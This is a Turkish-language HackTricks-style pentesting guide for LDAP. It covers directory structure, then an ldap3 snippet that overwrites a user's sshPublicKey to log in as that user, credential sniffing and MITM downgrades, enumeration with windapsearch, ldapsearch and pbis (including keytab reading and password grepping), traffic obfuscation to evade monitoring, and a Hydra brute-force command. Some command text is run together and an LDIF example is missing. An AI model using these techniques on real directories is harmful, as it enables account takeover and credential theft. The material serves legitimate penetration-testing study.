LDAP (Hafif Dizin Erişim Protokolü) kullanımı, hem kamu hem de özel ağlar içinde organizasyonlar, bireyler ve dosyalar ile cihazlar gibi çeşitli varlıkları bulmak için esasen kullanılır. Daha küçük bir kod ayak izi ile, öncüsü DAP'a kıyasla daha akıcı bir yaklaşım sunar.
LDAP dizinleri, birkaç sunucuya dağıtılmalarını sağlamak için yapılandırılmıştır; her sunucu, Dizin Sistemi Ajanı (DSA) olarak adlandırılan dizinin çoğaltılmış ve senkronize bir versiyonunu barındırır. İstekleri işleme sorumluluğu tamamen LDAP sunucusuna aittir; bu sunucu, talep sahibine birleşik bir yanıt sunmak için gerektiğinde diğer DSAlar ile iletişim kurabilir.
LDAP dizininin organizasyonu, en üstte kök dizin ile başlayan bir ağaç hiyerarşisini andırır. Bu, ülkelere, ardından organizasyonlara ve daha sonra çeşitli bölümleri veya departmanları temsil eden organizasyonel birimlere ayrılır ve nihayetinde bireysel varlıklar seviyesine, hem insanlar hem de dosyalar ve yazıcılar gibi paylaşılan kaynaklar dahil olmak üzere ulaşır.
Varsayılan port: 389 ve 636(ldaps). Global Katalog (ActiveDirectory'deki LDAP) varsayılan olarak 3268 ve 3269 portlarında LDAPS için mevcuttur.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Veri Değişim Formatı
LDIF (LDAP Veri Değişim Formatı), dizin içeriğini bir dizi kayıt olarak tanımlar. Ayrıca güncelleme taleplerini (Ekle, Değiştir, Sil, Yeniden Adlandır) de temsil edebilir.
Satır 1-3, üst düzey alan adını local olarak tanımlar
Satır 5-8, birinci düzey alan adını moneycorp (moneycorp.local) olarak tanımlar
Satır 10-16, 2 organizasyonel birimi tanımlar: dev ve sales
Satır 18-26, alanın bir nesnesini oluşturur ve değerlerle birlikte nitelikler atar
Veri yazma
Değerleri değiştirebiliyorsanız, gerçekten ilginç eylemler gerçekleştirebilirsiniz. Örneğin, kullanıcınızın veya herhangi bir kullanıcının "sshPublicKey" bilgisini değiştirebileceğinizi hayal edin. Bu niteliğin mevcut olması durumunda, ssh'nin genel anahtarları LDAP'dan okuması oldukça olasıdır. Bir kullanıcının genel anahtarını değiştirebilirseniz, şifre kimlik doğrulaması ssh'da etkin olmasa bile o kullanıcı olarak giriş yapabileceksiniz.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/>>> importldap3>>> server=ldap3.Server('x.x.x.x',port=636,use_ssl=True)>>> connection=ldap3.Connection(server,'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN','PASSWORD',auto_bind=True)>>> connection.bind()True>>> connection.extend.standard.who_am_i()u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Düz Metin Kimlik Bilgilerini Dinleme
Eğer LDAP SSL olmadan kullanılıyorsa, ağda kimlik bilgilerini düz metin olarak dinleyebilirsiniz.
Ayrıca, LDAP sunucusu ile istemci arasında bir MITM saldırısı gerçekleştirebilirsiniz. Burada, istemcinin düz metin kimlik bilgilerini kullanarak giriş yapması için bir Downgrade Attack yapabilirsiniz.
Eğer SSL kullanılıyorsa, yukarıda bahsedilen şekilde MITM yapmayı deneyebilirsiniz, ancak yanlış bir sertifika sunarak, eğer kullanıcı bunu kabul ederse, kimlik doğrulama yöntemini düşürme ve kimlik bilgilerini tekrar görme imkanınız olur.
Anonim Erişim
TLS SNI kontrolünü atlama
bu yazıya göre, LDAP sunucusuna rastgele bir alan adı (örneğin company.com) ile erişerek, anonim bir kullanıcı olarak LDAP hizmetiyle iletişim kurup bilgi çıkarabildi.
LDAP anonim bağlanmaları, kimlik doğrulaması yapılmamış saldırganların alan bilgilerini, kullanıcıların, grupların, bilgisayarların, kullanıcı hesap özelliklerinin ve alan parola politikasının tam listesini almasına olanak tanır. Bu, eski bir yapılandırmadır ve Windows Server 2003 itibarıyla yalnızca kimlik doğrulaması yapılmış kullanıcıların LDAP istekleri başlatmasına izin verilmektedir.
Ancak, yöneticiler anonim bağlanmalara izin vermek için belirli bir uygulama kurmak zorunda kalmış olabilir ve böylece kimlik doğrulaması yapılmamış kullanıcılara AD'deki tüm nesnelere erişim vermiş olabilirler.
Geçerli Kimlik Bilgileri
LDAP sunucusuna giriş yapmak için geçerli kimlik bilgilerine sahipseniz, aşağıdaki komutla Alan Yöneticisi hakkında tüm bilgileri dökebilirsiniz:
Windapsearch , LDAP sorgularını kullanarak bir Windows alanından kullanıcıları, grupları ve bilgisayarları listelemek için yararlı bir Python betiğidir.
# Get computerspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--computers# Get groupspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--groups# Get userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Domain Adminspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Privileged Userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--privileged-users
ldapsearch
Boş kimlik bilgilerini kontrol edin veya kimlik bilgilerinizin geçerli olup olmadığını kontrol edin:
# CREDENTIALS NOT VALID RESPONSEsearch:2result:1Operationserrortext:000004DC:LdapErr:DSID-0C090A4C,comment:Inordertoperformthisoperationasuccessfulbindmustbecompletedontheconnection.,data0,v3839
Eğer "bind must be completed" diyen bir şey bulursanız, bu kimlik bilgilerin yanlış olduğu anlamına gelir.
Parolaya erişiminiz olup olmadığını görmek için, sorgulardan birini çalıştırdıktan sonra grep kullanabilirsiniz:
<ldapsearchcmd...>|grep-i-A2-B2"userpas"
Lütfen, burada bulabileceğiniz şifrelerin gerçek olmayabileceğini unutmayın...
pbis
pbis'i buradan indirebilirsiniz: https://github.com/BeyondTrust/pbis-open/ ve genellikle /opt/pbis dizinine kurulur.
Pbis, temel bilgilere kolayca erişmenizi sağlar:
#Read keytab file./klist-k/etc/krb5.keytab#Get known domains info./get-status./lsaget-status#Get basic metrics./get-metrics./lsaget-metrics#Get users./enum-users./lsaenum-users#Get groups./enum-groups./lsaenum-groups#Get all kind of objects./enum-objects./lsaenum-objects#Get groups of a user./list-groups-for-user<username>./lsalist-groups-for-user<username>#Get groups of each user./enum-users|grep"Name:"|sed-e"s,\\\,\\\\\\\,g"|awk'{print $2}'|whilereadname; do./list-groups-for-user"$name"; echo-e"========================\n"; done#Get users of a group./enum-members--by-name"domain admins"./lsaenum-members--by-name"domain admins"#Get users of each group./enum-groups|grep"Name:"|sed-e"s,\\\,\\\\\\\,g"|awk'{print $2}'|whilereadname; doecho"$name"; ./enum-members--by-name"$name"; echo-e"========================\n"; done#Get description of each user./adtool-asearch-user--nameCN="*"--keytab=/etc/krb5.keytab-n<Username>|grep"CN"|whilereadline; doecho"$line";./adtool--keytab=/etc/krb5.keytab-n<username>-alookup-object--dn="$line"--attr"description";echo"======================"done
Varsayılan olarak şu dizine kurulur: /opt/jxplorer
Godap
Godap, AD ve diğer LDAP sunucularındaki nesneler ve niteliklerle etkileşimde bulunmak için kullanılabilen etkileşimli bir terminal kullanıcı arayüzüdür. Windows, Linux ve MacOS için mevcuttur ve basit bağlamalar, pass-the-hash, pass-the-ticket ve pass-the-cert gibi yöntemlerin yanı sıra nesneleri arama/oluşturma/değiştirme/silme, gruplardan kullanıcı ekleme/çıkarma, şifre değiştirme, nesne izinlerini (DACL'ler) düzenleme, Active-Directory Entegre DNS (ADIDNS) değiştirme, JSON dosyalarına aktarma gibi birkaç özel özelliği destekler.
Ldapx, diğer araçlardan LDAP trafiğini incelemek ve dönüştürmek için kullanılabilen esnek bir LDAP proxy'sidir. Kimlik koruma ve LDAP izleme araçlarını atlatmaya çalışmak için LDAP trafiğini belirsizleştirmek amacıyla kullanılabilir ve MaLDAPtive konuşmasında sunulan yöntemlerin çoğunu uygular.
You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural').
Yapılandırma Dosyaları
Genel
containers.ldif
ldap.cfg
ldap.conf
ldap.xml
ldap-config.xml
ldap-realm.xml
slapd.conf
IBM SecureWay V3 sunucusu
V3.sas.oc
Microsoft Active Directory sunucusu
msadClassesAttrs.ldif
Netscape Directory Server 4
nsslapd.sas_at.conf
nsslapd.sas_oc.conf
OpenLDAP dizin sunucusu
slapd.sas_at.conf
slapd.sas_oc.conf
Sun ONE Directory Server 5.1
75sas.ldif
HackTricks Otomatik Komutlar
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f